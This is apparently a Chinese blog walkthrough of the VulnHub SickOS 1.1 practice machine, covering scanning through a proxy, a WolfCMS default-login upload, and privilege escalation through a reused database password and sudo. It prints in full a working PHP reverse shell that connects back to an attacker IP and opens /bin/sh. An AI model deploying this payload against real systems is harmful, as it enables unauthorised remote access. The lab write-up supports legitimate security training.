VulnHub渗透测试实战靶场 - SICKOS: 1.1

环境下载

戳此进行环境下载

SICKOS: 1.1靶机搭建

将下载好的靶机导入Vmware,网络连接设置为NAT模式即可

渗透测试

VulnHub渗透测试实战靶场 - SICKOS: 1.1

用Nmap探测一下目标靶机IP的端口信息sudo nmap -sS -A 192.168.246.134,发现开放了22、3128、8080三个端口

VulnHub渗透测试实战靶场 - SICKOS: 1.1

通过Nmap扫到的端口信息可知,3128端口开放了一个代理服务,直接访问是访问不了靶机的80端口的,可以借助它的代理来访问
用dirb扫描一些web目录:dirb http://192.168.246.134 -p http://192.168.246.134:3128

VulnHub渗透测试实战靶场 - SICKOS: 1.1

VulnHub渗透测试实战靶场 - SICKOS: 1.1
VulnHub渗透测试实战靶场 - SICKOS: 1.1

根据目录扫描的结果,访问:http://192.168.246.134/robots.txt

VulnHub渗透测试实战靶场 - SICKOS: 1.1

192.168.246.134/wolfcms进行扫描

VulnHub渗透测试实战靶场 - SICKOS: 1.1

http://192.168.246.134/wolfcms/docs/updating.txt页面中记录了更新的信息,发现系统采用的cms版本最新是0.8.2,搜索对应版本后发现存在文件上传漏洞

VulnHub渗透测试实战靶场 - SICKOS: 1.1

通过网页链接测试出后台登录页面:http://192.168.246.134/wolfcms/?/admin/login,尝试admin:admin成功登录后台

VulnHub渗透测试实战靶场 - SICKOS: 1.1

getshell

这里通过创建新文件或者上传文件都可以getshell

VulnHub渗透测试实战靶场 - SICKOS: 1.1

利用Kali自带的php反弹shell的脚本

<?php phpinfo(); // php-reverse-shell - A Reverse Shell implementation in PHP // Copyright (C) 2007 pentestmonkey@pentestmonkey.net // // This tool may be used for legal purposes only.  Users take full responsibility // for any actions performed using this tool.  The author accepts no liability // for damage caused by this tool.  If these terms are not acceptable to you, then // do not use this tool. // // In all other respects the GPL version 2 applies: // // This program is free software; you can redistribute it and/or modify // it under the terms of the GNU General Public License version 2 as // published by the Free Software Foundation. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License along // with this program; if not, write to the Free Software Foundation, Inc., // 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. // // This tool may be used for legal purposes only.  Users take full responsibility // for any actions performed using this tool.  If these terms are not acceptable to // you, then do not use this tool. // // You are encouraged to send comments, improvements or suggestions to // me at pentestmonkey@pentestmonkey.net // // Description // ----------- // This script will make an outbound TCP connection to a hardcoded IP and port. // The recipient will be given a shell running as the current user (apache normally). // // Limitations // ----------- // proc_open and stream_set_blocking require PHP version 4.3+, or 5+ // Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows. // Some compile-time options are needed for daemonisation (like pcntl, posix).  These are rarely available. // // Usage // ----- // See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.  set_time_limit (0); $VERSION = "1.0"; $ip = '192.168.246.129';  // CHANGE THIS $port = 1234;       // CHANGE THIS $chunk_size = 1400; $write_a = null; $error_a = null; $shell = 'uname -a; w; id; /bin/sh -i'; $daemon = 0; $debug = 0;  // // Daemonise ourself if possible to avoid zombies later //  // pcntl_fork is hardly ever available, but will allow us to daemonise // our php process and avoid zombies.  Worth a try... if (function_exists('pcntl_fork')) { 	// Fork and have the parent process exit 	$pid = pcntl_fork(); 	 	if ($pid == -1) { 		printit("ERROR: Can't fork"); 		exit(1); 	} 	 	if ($pid) { 		exit(0);  // Parent exits 	}  	// Make the current process a session leader 	// Will only succeed if we forked 	if (posix_setsid() == -1) { 		printit("Error: Can't setsid()"); 		exit(1); 	}  	$daemon = 1; } else { 	printit("WARNING: Failed to daemonise.  This is quite common and not fatal."); }  // Change to a safe directory chdir("/");  // Remove any umask we inherited umask(0);  // // Do the reverse shell... //  // Open reverse connection $sock = fsockopen($ip, $port, $errno, $errstr, 30); if (!$sock) { 	printit("$errstr ($errno)"); 	exit(1); }  // Spawn shell process $descriptorspec = array(    0 => array("pipe", "r"),  // stdin is a pipe that the child will read from    1 => array("pipe", "w"),  // stdout is a pipe that the child will write to    2 => array("pipe", "w")   // stderr is a pipe that the child will write to );  $process = proc_open($shell, $descriptorspec, $pipes);  if (!is_resource($process)) { 	printit("ERROR: Can't spawn shell"); 	exit(1); }  // Set everything to non-blocking // Reason: Occsionally reads will block, even though stream_select tells us they won't stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); stream_set_blocking($sock, 0);  printit("Successfully opened reverse shell to $ip:$port");  while (1) { 	// Check for end of TCP connection 	if (feof($sock)) { 		printit("ERROR: Shell connection terminated"); 		break; 	}  	// Check for end of STDOUT 	if (feof($pipes[1])) { 		printit("ERROR: Shell process terminated"); 		break; 	}  	// Wait until a command is end down $sock, or some 	// command output is available on STDOUT or STDERR 	$read_a = array($sock, $pipes[1], $pipes[2]); 	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);  	// If we can read from the TCP socket, send 	// data to process's STDIN 	if (in_array($sock, $read_a)) { 		if ($debug) printit("SOCK READ"); 		$input = fread($sock, $chunk_size); 		if ($debug) printit("SOCK: $input"); 		fwrite($pipes[0], $input); 	}  	// If we can read from the process's STDOUT 	// send data down tcp connection 	if (in_array($pipes[1], $read_a)) { 		if ($debug) printit("STDOUT READ"); 		$input = fread($pipes[1], $chunk_size); 		if ($debug) printit("STDOUT: $input"); 		fwrite($sock, $input); 	}  	// If we can read from the process's STDERR 	// send data down tcp connection 	if (in_array($pipes[2], $read_a)) { 		if ($debug) printit("STDERR READ"); 		$input = fread($pipes[2], $chunk_size); 		if ($debug) printit("STDERR: $input"); 		fwrite($sock, $input); 	} }  fclose($sock); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process);  // Like print, but does nothing if we've daemonised ourself // (I can't figure out how to redirect STDOUT like a proper daemon) function printit ($string) { 	if (!$daemon) { 		print "$stringn"; 	} }  ?>  

nc起一个监听,访问含有反弹shell的php文件,成功getshell

VulnHub渗透测试实战靶场 - SICKOS: 1.1

提权

查看内核版本信息:uname -a,发现系统为3.11.0-15-generic,尝试溢出提权的方式来进行提权操作,利用脏牛漏洞来进行提权操作

VulnHub渗透测试实战靶场 - SICKOS: 1.1

攻击机起一个Http服务让靶机下载exp

VulnHub渗透测试实战靶场 - SICKOS: 1.1
VulnHub渗透测试实战靶场 - SICKOS: 1.1

使用命令:gcc -pthread dirty.c -o dirty -lcrypt来编译exp,执行exp后发现靶机会自己修复,没法执行脏牛

继续寻找有效信息,在/var/www/wolfcms/config.php中发现数据库的账户和密码:root:john@123

VulnHub渗透测试实战靶场 - SICKOS: 1.1

查看/etc/passwd,发现sickos用户可以尝试利用

VulnHub渗透测试实战靶场 - SICKOS: 1.1

成功利用前面获取到的数据库密码登录切换到用户sickos,查看用户id以及组id信息

VulnHub渗透测试实战靶场 - SICKOS: 1.1

发现用户sickos在sudo组,直接sudo提权,成功拿到root权限

VulnHub渗透测试实战靶场 - SICKOS: 1.1

版权声明:玥玥 发表于 2021-08-10 13:11:15。
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